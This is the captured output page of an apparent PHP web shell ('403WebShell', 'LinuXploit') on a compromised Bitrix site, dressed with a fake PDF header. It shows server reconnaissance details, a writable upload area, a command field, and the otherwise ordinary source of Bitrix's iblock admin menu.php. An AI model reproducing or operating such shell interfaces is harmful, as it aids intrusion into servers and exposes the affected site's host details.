%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.15.226.147
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/iblock/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/iblock/admin/menu.php
<?php
/** @global CAdminMenu $adminMenu */
use Bitrix\Main\Loader;

if(!is_object($GLOBALS["USER_FIELD_MANAGER"]))
	return false;

if (!Loader::includeModule("iblock"))
	return false;

foreach (GetModuleEvents("iblock", "OnBeforeIBlockAdminMenu", true) as $arEvent)
{
	return ExecuteModuleEventEx($arEvent, array());
}

IncludeModuleLangFile(__FILE__);

function _get_elements_menu($arType, $arIBlock, $SECTION_ID)
{
	$urlElementAdminPage = CIBlock::GetAdminElementListLink($arIBlock["ID"], array("menu" => null, "skip_public" => true));

	$SECTION_ID = intval($SECTION_ID);
	if($SECTION_ID <= 0)
	{
		return array(
			"text" => htmlspecialcharsex($arIBlock["ELEMENTS_NAME"]),
			"url" => $urlElementAdminPage."&find_el_y=Y"."&clear_filter=Y&apply_filter=Y",
			"more_url" => array(
				$urlElementAdminPage."&find_el_y=Y",
				$urlElementAdminPage."&find_section_section=-1",
				$urlElementAdminPage."&find_section_section=0",
				"iblock_element_edit.php?".$arIBlock["URL_PART"]."&find_section_section=-1",
				"iblock_element_edit.php?".$arIBlock["URL_PART"]."&find_section_section=0",
				"iblock_history_list.php?".$arIBlock["URL_PART"]."&find_section_section=-1",
				"iblock_start_bizproc.php?document_type=iblock_".$arIBlock["ID"],
			),
			"title" => GetMessage("IBLOCK_MENU_ALL_EL"),
			"page_icon" => "iblock_page_icon_elements",
			"skip_chain" => true,
			"items_id" => "menu_iblock_".$arType["ID"]."_".$arIBlock["ID"],
			"module_id" => "iblock",
			"items" => array(),
		);
	}
	else
	{
		return array(
			"text" => htmlspecialcharsex($arIBlock["ELEMENTS_NAME"]),
			"url" => $urlElementAdminPage."&find_section_section=".$SECTION_ID."&SECTION_ID=".$SECTION_ID."&apply_filter=Y",
			"more_url" => array(
				$urlElementAdminPage."&find_section_section=".$SECTION_ID,
				"iblock_element_edit.php?".$arIBlock["URL_PART"]."&find_section_section=".$SECTION_ID,
				"iblock_history_list.php?".$arIBlock["URL_PART"]."&find_section_section=".$SECTION_ID,
			),
			"title" => GetMessage("IBLOCK_MENU_SEC_EL"),
			"page_icon" => "iblock_page_icon_elements",
			"skip_chain" => true,
			"items_id" => "menu_iblock_el_".$arType["ID"]."_".$arIBlock["ID"],
			"module_id" => "iblock",
			"items" => array(),
		);
	}
}

function _get_other_elements_menu($arType, $arIBlock, $arSection, &$more_url)
{
	$more_url[] = CIBlock::GetAdminElementListLink($arIBlock["ID"], array(
		"find_section_section" => intval($arSection["ID"]),
		"menu" => null, "skip_public" => true));

	if (($arSection["RIGHT_MARGIN"] - $arSection["LEFT_MARGIN"]) > 1)
	{
		$rsSections = CIBlockSection::GetList(
			array("left_margin"=>"ASC"),
			array(
				"IBLOCK_ID" => $arIBlock["ID"],
				"SECTION_ID" => $arSection["ID"],
			),
			false,
			array("ID", "IBLOCK_SECTION_ID", "NAME", "LEFT_MARGIN", "RIGHT_MARGIN")
		);
		while($arSubSection = $rsSections->Fetch())
			_get_other_elements_menu($arType, $arIBlock, $arSubSection, $more_url);
	}
}

function _get_sections_menu($arType, $arIBlock, $DEPTH_LEVEL, $SECTION_ID, $arSectionsChain = false)
{
	global $adminMenu;

	static $adminMenuExists = null;
	if ($adminMenuExists === null)
	{
		$adminMenuExists = isset($adminMenu) && $adminMenu instanceof CAdminMenu;
	}

	//Determine opened sections
	if($arSectionsChain === false)
	{
		$arSectionsChain = array();
		if(isset($_REQUEST['admin_mnu_menu_id']))
		{
			$menu_id = "menu_iblock_/".$arType["ID"]."/".$arIBlock["ID"]."/";
			if(strncmp($_REQUEST['admin_mnu_menu_id'], $menu_id, mb_strlen($menu_id)) == 0)
			{
				$rsSections = CIBlockSection::GetNavChain($arIBlock["ID"], mb_substr($_REQUEST['admin_mnu_menu_id'], mb_strlen($menu_id)), array('ID', 'IBLOCK_ID'));
				while($arSection = $rsSections->Fetch())
					$arSectionsChain[$arSection["ID"]] = $arSection["ID"];
			}
		}
		if(
			isset($_REQUEST["find_section_section"])
			&& (int)$_REQUEST["find_section_section"] > 0
			&& isset($_REQUEST["IBLOCK_ID"])
			&& $_REQUEST["IBLOCK_ID"] == $arIBlock["ID"]
		)
		{
			$rsSections = CIBlockSection::GetNavChain($arIBlock["ID"], $_REQUEST["find_section_section"], array('ID', 'IBLOCK_ID'));
			while($arSection = $rsSections->Fetch())
				$arSectionsChain[$arSection["ID"]] = $arSection["ID"];
		}
	}

	$urlSectionAdminPage = CIBlock::GetAdminSectionListLink($arIBlock["ID"], array("menu" => null, "skip_public" => true));

	$arSections = array();

	if(CIBlock::GetAdminListMode($arIBlock["ID"]) == 'S')
		$arSections[] = _get_elements_menu($arType, $arIBlock, $SECTION_ID);

	$rsSections = CIBlockSection::GetList(
		array("left_margin"=>"ASC"),
		array(
			"IBLOCK_ID" => $arIBlock["ID"],
			"SECTION_ID" => $SECTION_ID,
		),
		false,
		array("ID", "IBLOCK_SECTION_ID", "NAME", "LEFT_MARGIN", "RIGHT_MARGIN")
	);
	$sectionCount = 0;
	$limit = COption::GetOptionInt("iblock", "iblock_menu_max_sections");
	while($arSection = $rsSections->Fetch())
	{
		if(($limit > 0) && ($sectionCount >= $limit))
		{
			$arSections[] = array(
				"text" => GetMessage("IBLOCK_MENU_ALL_OTH"),
				"url" => $urlSectionAdminPage."&find_section_section=".(int)$arSection["IBLOCK_SECTION_ID"]."&SECTION_ID=".(int)$arSection["IBLOCK_SECTION_ID"]."&apply_filter=Y",
				"more_url" => array(
					$urlSectionAdminPage."&find_section_section=".(int)$arSection["IBLOCK_SECTION_ID"],
					"iblock_section_edit.php?".$arIBlock["URL_PART"],
					"iblock_element_edit.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"],
					"iblock_history_list.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"],
				),
				"title" => GetMessage("IBLOCK_MENU_ALL_OTH_TITLE"),
				"icon" => "iblock_menu_icon_sections",
				"page_icon" => "iblock_page_icon_sections",
				"skip_chain" => true,
				"items_id" => "menu_iblock_/".$arType["ID"]."/".$arIBlock["ID"]."/".$arSection["ID"],
				"module_id" => "iblock",
				"items" => array()
			);
			_get_other_elements_menu($arType, $arIBlock, $arSection, $arSections[0]["more_url"]);

			break;
		}
		$arSectionTmp = array(
			"text" => htmlspecialcharsex($arSection["NAME"]),
			"url" => $urlSectionAdminPage."&find_section_section=".$arSection["ID"]."&SECTION_ID=".$arSection["ID"]."&apply_filter=Y",
			"more_url" => array(
				$urlSectionAdminPage."&find_section_section=".$arSection["ID"],
				"iblock_section_edit.php?".$arIBlock["URL_PART"]."&ID=".$arSection["ID"],
				"iblock_section_edit.php?".$arIBlock["URL_PART"]."&ID=0&find_section_section=".$arSection["ID"],
				"iblock_element_edit.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"]."&find_section_section=".$arSection["ID"],
				"iblock_history_list.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"]."&find_section_section=".$arSection["ID"],
			),
			"title" => htmlspecialcharsex($arSection["NAME"]),
			"icon" => "iblock_menu_icon_sections",
			"page_icon" => "iblock_page_icon_sections",
			"skip_chain" => true,
			"dynamic" =>
				(CIBlock::GetAdminListMode($arIBlock["ID"]) == 'S') ||
				(($arSection["RIGHT_MARGIN"] - $arSection["LEFT_MARGIN"]) > 1),
			"items_id" => "menu_iblock_/".$arType["ID"]."/".$arIBlock["ID"]."/".$arSection["ID"],
			"module_id" => "iblock",
			"items" => array(),
		);

		if(array_key_exists($arSection["ID"], $arSectionsChain))
		{
			$arSectionTmp["items"] = _get_sections_menu($arType, $arIBlock, $DEPTH_LEVEL+1, $arSection["ID"], $arSectionsChain);
		}
		elseif($adminMenuExists)
		{
			if ($adminMenu->IsSectionActive("menu_iblock_/".$arType["ID"]."/".$arIBlock["ID"]."/".$arSection["ID"]))
			{
				$arSectionTmp["items"] = _get_sections_menu($arType, $arIBlock, $DEPTH_LEVEL + 1, $arSection["ID"], $arSectionsChain);
			}
		}

		$arSections[] = $arSectionTmp;
		$sectionCount++;
	}

	while($arSection = $rsSections->Fetch())
	{
		$urlElementAdminPage = CIBlock::GetAdminElementListLink($arIBlock["ID"], array("menu" => null, "skip_public" => true));
		$arSections[0]["more_url"][] = $urlElementAdminPage."&find_section_section=".$arSection["ID"]."&SECTION_ID=".$arSection["ID"]."&apply_filter=Y";
	}

	return $arSections;
}

function _get_iblocks_menu($arType)
{
	global $adminMenu;

	static $adminMenuExists = null;
	if ($adminMenuExists === null)
	{
		$adminMenuExists = isset($adminMenu) && $adminMenu instanceof CAdminMenu;
	}

	$arIBlocks = array();
	foreach($arType["IBLOCKS"]["S"] as $arIBlock)
	{
		$items_id = "menu_iblock_/".$arType["ID"]."/".$arIBlock["ID"];

		if($arType["SECTIONS"]=='Y')
		{
			if(isset($_REQUEST["IBLOCK_ID"]) && $_REQUEST["IBLOCK_ID"] == $arIBlock["ID"])
			{
				$arItems = _get_sections_menu($arType, $arIBlock, 1, 0);
			}
			elseif(isset($_REQUEST['admin_mnu_menu_id']) && mb_strpos($_REQUEST['admin_mnu_menu_id'], $items_id) !== false)
			{
				$arItems = _get_sections_menu($arType, $arIBlock, 1, 0);
			}
			elseif($adminMenuExists)
			{
				if(
					$adminMenu->IsSectionActive("menu_iblock_/".$arType["ID"])
					&& $adminMenu->IsSectionActive($items_id)
				)
					$arItems = _get_sections_menu($arType, $arIBlock, 1, 0);
				else
					$arItems = array();
			}
			else
			{
				$arItems = _get_sections_menu($arType, $arIBlock, 1, 0);
			}

			$urlSectionAdminPage = CIBlock::GetAdminSectionListLink($arIBlock["ID"], array("menu" => null, "skip_public" => true));
			$arMenuItem = array(
				"text" => $arIBlock["NAME~"],
				"url" => $urlSectionAdminPage."&find_section_section=0&SECTION_ID=0&apply_filter=Y",
				"more_url" => array(
					$urlSectionAdminPage."&find_section_section=0",
					$urlSectionAdminPage."&find_section_section=-1",
					"iblock_section_edit.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"]."&find_section_section=-1",
					"iblock_section_edit.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"]."&find_section_section=0",
					"iblock_element_edit.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"]."&find_section_section=-1",
					"iblock_element_edit.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"]."&find_section_section=0",
					"iblock_history_list.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"]."&find_section_section=-1",
					"iblock_start_bizproc.php?document_type=iblock_".$arIBlock["ID"],
				),
				"title" => $arIBlock["NAME~"],
				"icon" => "iblock_menu_icon_iblocks",
				"page_icon" => "iblock_page_icon_iblocks",
				"skip_chain" => true,
				"module_id" => "iblock",
				"items_id" => $items_id,
				"dynamic" => true,
				"items" => $arItems,
			);

			if (empty($arItems))
			{
				$arMenuItem["more_url"][] = "iblock_element_edit.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"];
				$arMenuItem["more_url"][] = "iblock_history_list.php?IBLOCK_ID=".$arIBlock["ID"]."&type=".$arType["ID"];
			}

			$arIBlocks[] = $arMenuItem;
		}
		else
		{
			$urlElementAdminPage = CIBlock::GetAdminElementListLink($arIBlock["ID"], array("menu" => null, "skip_public" => true));
			$arIBlocks[] = array(
				"text" => $arIBlock["NAME~"],
				"url" => $urlElementAdminPage."&apply_filter=Y",
				"more_url" => array(
					"iblock_element_edit.php?".$arIBlock["URL_PART"],
					"iblock_history_list.php?".$arIBlock["URL_PART"],
					$urlElementAdminPage,
				),
				"title" => $arIBlock["NAME~"],
				"items_id" => $items_id,
				"icon" => "iblock_menu_icon_iblocks",
				"page_icon" => "iblock_page_icon_iblocks",
				"skip_chain" => true,
				"module_id" => "iblock",
				"items" => array(),
			);
		}
	}
	return $arIBlocks;
}

function _get_iblocks_admin_menu($arType)
{
	$arIBlocks = array();
	foreach($arType["IBLOCKS"]["X"] as $arIBlock)
	{
		$arIBlockTmp = array(
			"text" => $arIBlock["NAME~"],
			"url" => "iblock_edit.php?type=".$arType["ID"]."&lang=".LANGUAGE_ID."&ID=".$arIBlock["ID"]."&admin=Y",
			"more_url" => array(
				"iblock_convert.php?lang=".LANGUAGE_ID."&IBLOCK_ID=".$arIBlock["ID"],
				"iblock_edit.php?type=".$arType["ID"]."&lang=".LANGUAGE_ID."&ID=".$arIBlock["ID"]."&admin=Y",
				"iblock_bizproc_workflow_edit.php?document_type=iblock_".$arIBlock["ID"]."&lang=".LANGUAGE_ID,
				"iblock_bizproc_workflow_admin.php?document_type=iblock_".$arIBlock["ID"]."&lang=".LANGUAGE_ID,
				"iblock_edit.php?".$arIBlock["URL_PART"]."&admin=Y",
				"iblock_property_admin.php?IBLOCK_ID=".$arIBlock["ID"]."&lang=".LANGUAGE_ID."&admin=Y",
				"iblock_edit_property.php?IBLOCK_ID=".$arIBlock["ID"]."&lang=".LANGUAGE_ID."&admin=Y",
			),
			"title" => $arIBlock["NAME~"],
			"items_id" => "menu_iblock_admin_/".$arType["ID"]."/".$arIBlock["ID"],
			"icon" => "iblock_menu_icon_settings",
			"page_icon" => "iblock_page_icon_settings",
			"skip_chain" => true,
			"category" => "global_menu_settings",
			"module_id" => "iblock",
			"items" => false,
		);
		$arIBlocks[] = $arIBlockTmp;
	}
	return $arIBlocks;
}

function _get_types_admin_menu($arTypes, $bUserIsAdmin)
{
	$arResult = array();
	$obt_index = 0;
	foreach($arTypes as $arType)
	{
		if($bUserIsAdmin || !empty($arType["IBLOCKS"]["X"]))
		{
			$arResult[] = array(
				"text" => $arType["NAME~"],
				"url" => "iblock_admin.php?type=".$arType["ID"]."&amp;lang=".LANGUAGE_ID."&amp;admin=Y",
				"more_url" => array(
					"iblock_admin.php?type=".$arType["ID"]."&lang=".LANGUAGE_ID."&admin=Y",
					"iblock_edit.php?type=".$arType["ID"]."&lang=".LANGUAGE_ID."&admin=Y",
				),
				"title" => $arType["NAME~"],
				"parent_menu" => "global_menu_content",
				"sort" => 200 + $obt_index,
				"icon" => "iblock_menu_icon_types",
				"page_icon" => "iblock_page_icon_settings",
				"module_id" => "iblock",
				"items_id" => "menu_iblock_admin_/".$arType["ID"],
				"dynamic" => true,
				"items" => _get_iblocks_admin_menu($arType),
			);
			$obt_index++;
		}
	}
	return $arResult;
}

$aMenu = array();

//Read all necessary data from database

global $USER;
$bUserIsAdmin = $USER->IsAdmin();

$arTypes = array();
$rsTypes = CIBlockType::GetList(array("SORT"=>"ASC"));
while($arType = $rsTypes->Fetch())
{
	$arType = CIBlockType::GetByIDLang($arType["ID"], LANGUAGE_ID);
	$arTypes[$arType["ID"]] = array(
		"ID" => $arType["ID"],
		"NAME" => $arType["NAME"],
		"NAME~" => $arType["NAME"],
		"ELEMENT_NAME" => $arType["ELEMENT_NAME"],
		"SECTIONS" => $arType["SECTIONS"],
		"IBLOCKS" => array(
			"S" => array(),
			"W" => array(),
			"X" => array(),
		),
	);
}

$bHasXRight = false;
$bHasWRight = false;
$bHasSRight = false;
$bHasERight = false;

if ($bUserIsAdmin)
{
	$rsIBlocks = CIBlock::GetList(array("SORT"=>"asc", "NAME"=>"ASC"));
	while($arIBlock = $rsIBlocks->Fetch())
	{
		if(!$arIBlock["ELEMENTS_NAME"])
			$arIBlock["ELEMENTS_NAME"] = $arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["ELEMENT_NAME"]?: GetMessage("IBLOCK_MENU_ELEMENTS");

		$arItem = array(
			"ID" => $arIBlock["ID"],
			"NAME" => $arIBlock["NAME"],
			"NAME~" => htmlspecialcharsex($arIBlock["NAME"]),
			"ELEMENTS_NAME" => $arIBlock["ELEMENTS_NAME"],
			"URL_PART" => "type=".$arIBlock["IBLOCK_TYPE_ID"]."&lang=".LANGUAGE_ID."&IBLOCK_ID=".$arIBlock["ID"],
		);
		$arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["IBLOCKS"]["X"][] = $arItem;
		$bHasXRight = true;
		$arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["IBLOCKS"]["W"][] = $arItem;
		$bHasWRight = true;
		$arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["IBLOCKS"]["S"][] = $arItem;
		$bHasSRight = true;
		$arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["IBLOCKS"]["E"][] = $arItem;
		$bHasERight = true;
	}
}
else
{
	$rsIBlocks = CIBlock::GetList(array("SORT"=>"asc", "NAME"=>"ASC"), array("MIN_PERMISSION" => "X"));
	while($arIBlock = $rsIBlocks->Fetch())
	{
		$arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["IBLOCKS"]["X"][] = array(
			"ID" => $arIBlock["ID"],
			"NAME" => $arIBlock["NAME"],
			"NAME~" => htmlspecialcharsex($arIBlock["NAME"]),
			"ELEMENTS_NAME" => $arIBlock["ELEMENTS_NAME"],
			"URL_PART" => "type=".$arIBlock["IBLOCK_TYPE_ID"]."&lang=".LANGUAGE_ID."&IBLOCK_ID=".$arIBlock["ID"],
		);
		$bHasXRight = true;
	}

	$rsIBlocks = CIBlock::GetList(array("SORT"=>"asc", "NAME"=>"ASC"), array("MIN_PERMISSION" => "U"));
	while($arIBlock = $rsIBlocks->Fetch())
	{
		if(!$arIBlock["ELEMENTS_NAME"])
			$arIBlock["ELEMENTS_NAME"] = $arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["ELEMENT_NAME"]?: GetMessage("IBLOCK_MENU_ELEMENTS");

		$arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["IBLOCKS"]["W"][] = array(
			"ID" => $arIBlock["ID"],
			"NAME" => $arIBlock["NAME"],
			"NAME~" => htmlspecialcharsex($arIBlock["NAME"]),
			"ELEMENTS_NAME" => $arIBlock["ELEMENTS_NAME"],
			"URL_PART" => "type=".$arIBlock["IBLOCK_TYPE_ID"]."&lang=".LANGUAGE_ID."&IBLOCK_ID=".$arIBlock["ID"],
		);
		$bHasWRight = true;
	}

	$rsIBlocks = CIBlock::GetList(array("SORT"=>"asc", "NAME"=>"ASC"), array("MIN_PERMISSION" => "S"));
	while($arIBlock = $rsIBlocks->Fetch())
	{
		if(!$arIBlock["ELEMENTS_NAME"])
			$arIBlock["ELEMENTS_NAME"] = $arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["ELEMENT_NAME"]?: GetMessage("IBLOCK_MENU_ELEMENTS");

		$arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["IBLOCKS"]["S"][] = array(
			"ID" => $arIBlock["ID"],
			"NAME" => $arIBlock["NAME"],
			"NAME~" => htmlspecialcharsex($arIBlock["NAME"]),
			"ELEMENTS_NAME" => $arIBlock["ELEMENTS_NAME"],
			"URL_PART" => "type=".$arIBlock["IBLOCK_TYPE_ID"]."&lang=".LANGUAGE_ID."&IBLOCK_ID=".$arIBlock["ID"],
		);
		$bHasSRight = true;
	}

	$rsIBlocks = CIBlock::GetList(array("SORT"=>"asc", "NAME"=>"ASC"), array(
		"MIN_PERMISSION" => "X",
		"OPERATION" => "iblock_export",
	));
	while($arIBlock = $rsIBlocks->Fetch())
	{
		if(!$arIBlock["ELEMENTS_NAME"])
			$arIBlock["ELEMENTS_NAME"] = $arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["ELEMENT_NAME"]?: GetMessage("IBLOCK_MENU_ELEMENTS");

		$arTypes[$arIBlock["IBLOCK_TYPE_ID"]]["IBLOCKS"]["E"][] = array(
			"ID" => $arIBlock["ID"],
			"NAME" => $arIBlock["NAME"],
			"NAME~" => htmlspecialcharsex($arIBlock["NAME"]),
			"ELEMENTS_NAME" => $arIBlock["ELEMENTS_NAME"],
			"URL_PART" => "type=".$arIBlock["IBLOCK_TYPE_ID"]."&lang=".LANGUAGE_ID."&IBLOCK_ID=".$arIBlock["ID"],
		);
		$bHasERight = true;
	}
}

//Build menu items
$obt_index = 0;
foreach($arTypes as $type_id => $arType)
{
	if(!empty($arType["IBLOCKS"]["S"]))
	{
		$aMenu[] = array(
			"text" => $arType["NAME~"],
			"url" => "iblock_admin.php?type=".$type_id."&amp;lang=".LANGUAGE_ID."&amp;admin=N",
			"more_url" => array(
				"iblock_admin.php?type=".$type_id."&lang=".LANGUAGE_ID."&admin=N",
			),
			"title" => $arType["NAME~"],
			"parent_menu" => "global_menu_content",
			"sort" => 200 + ($obt_index++),
			"icon" => "iblock_menu_icon_types",
			"page_icon" => "iblock_page_icon_types",
			"module_id" => "iblock",
			"items_id" => "menu_iblock_/".$type_id,
			"dynamic" => true,
			"items" => _get_iblocks_menu($arType),
		);
	}
}

if($bUserIsAdmin || $bHasWRight || $bHasXRight || $bHasSRight || $bHasERight)
{
	$arItems = array();
	if($bHasXRight || $bHasERight)
	{
		$arItems[] = array(
			"text" => GetMessage("IBLOCK_MENU_EXPORT"),
			"title" => GetMessage("IBLOCK_MENU_EXPORT_ALT"),
			"url" => "iblock_data_export.php?lang=".LANGUAGE_ID,
			"items_id" => "iblock_export",
			"module_id" => "iblock",
			"items" => array(
				array(
					"text" => "CSV",
					"url" => "iblock_data_export.php?lang=".LANGUAGE_ID,
					"module_id" => "iblock",
					"more_url" => array("iblock_data_export.php"),
				),
				array(
					"text" => "XML",
					"url" => "iblock_xml_export.php?lang=".LANGUAGE_ID,
					"module_id" => "iblock",
					"more_url" => array("iblock_xml_export.php"),
				),
			),
		);
	}

	if($bUserIsAdmin)
	{
		$arItems[] = array(
			"text" => GetMessage("IBLOCK_MENU_IMPORT"),
			"title" => GetMessage("IBLOCK_MENU_IMPORT_ALT"),
			"url" => "iblock_data_import.php?lang=".LANGUAGE_ID,
			"items_id" => "iblock_import",
			"module_id" => "iblock",
			"items" => array(
				array(
					"text" => "CSV",
					"url" => "iblock_data_import.php?lang=".LANGUAGE_ID,
					"module_id" => "iblock",
					"more_url" => array("iblock_data_import.php"),
				),
				array(
					"text" => "XML",
					"url" => "iblock_xml_import.php?lang=".LANGUAGE_ID,
					"module_id" => "iblock",
					"more_url" => array("iblock_xml_import.php"),
				),
			),
		);
	}
	elseif($bHasWRight)
	{
		$arItems[] = array(
			"text" => GetMessage("IBLOCK_MENU_IMPORT"),
			"title" => GetMessage("IBLOCK_MENU_IMPORT_ALT"),
			"url" => "iblock_data_import.php?lang=".LANGUAGE_ID,
			"items_id" => "iblock_import",
			"module_id" => "iblock",
			"items" => array(
				array(
					"text" => "CSV",
					"url" => "iblock_data_import.php?lang=".LANGUAGE_ID,
					"module_id" => "iblock",
					"more_url" => array("iblock_data_import.php"),
				),
			),
		);
	}

	if($bUserIsAdmin || $bHasXRight)
	{
		$arItems[] = array(
			"text" => GetMessage("IBLOCK_MENU_ITYPE"),
			"url" => "iblock_type_admin.php?lang=".LANGUAGE_ID,
			"more_url" => array("iblock_type_edit.php"),
			"module_id" => "iblock",
			"title" => GetMessage("IBLOCK_MENU_ITYPE_TITLE"),
			"items_id" => "iblock_admin",
			"items" => _get_types_admin_menu($arTypes, $bUserIsAdmin),
		);
	}

	if($bUserIsAdmin)
	{
		$arItems[] = array(
			"text" => GetMessage("IBLOCK_MENU_REINDEX"),
			"url" => "iblock_reindex_admin.php?lang=".LANGUAGE_ID,
			"more_url" => array("iblock_reindex.php", "iblock_reindex_admin.php"),
			"module_id" => "iblock",
			"title" => GetMessage("IBLOCK_MENU_REINDEX_TITLE"),
		);
	}

	$adminToolsMenu = array();
	if ($bHasSRight)
	{
		$adminToolsMenu[] = array(
			"text" => GetMessage('IBLOCK_MENU_ADMIN_TOOLS_REDIRECT_IBLOCK_EXT'),
			"title" => GetMessage('IBLOCK_MENU_ADMIN_TOOLS_REDIRECT_IBLOCK_TITLE_EXT'),
			"url" => "iblock_redirect_entity.php?lang=".LANGUAGE_ID,
			"module_id" => "iblock"
		);
	}

	if (!empty($adminToolsMenu))
	{
		$arItems[] = array(
			"text" => GetMessage('IBLOCK_MENU_ADMIN_TOOLS'),
			"title" => GetMessage('IBLOCK_MENU_ADMIN_TOOLS_TITLE'),
			"module_id" => "iblock",
			"items_id" => "iblock_redirect",
			"items" => $adminToolsMenu
		);
	}
	unset($adminToolsMenu);

	$aMenu[] = array(
		"parent_menu" => "global_menu_content",
		"section" => "iblock",
		"sort" => 300,
		"text" => GetMessage("IBLOCK_MENU_SEPARATOR"),
		"title" => GetMessage("IBLOCK_MENU_SETTINGS_TITLE"),
		"icon" => "iblock_menu_icon_settings",
		"page_icon" => "iblock_page_icon_settings",
		"items_id" => "menu_iblock",
		"module_id" => "iblock",
		"items" => $arItems,
	);

}

return $aMenu;

Youez - 2016 - github.com/yon3zu
LinuXploit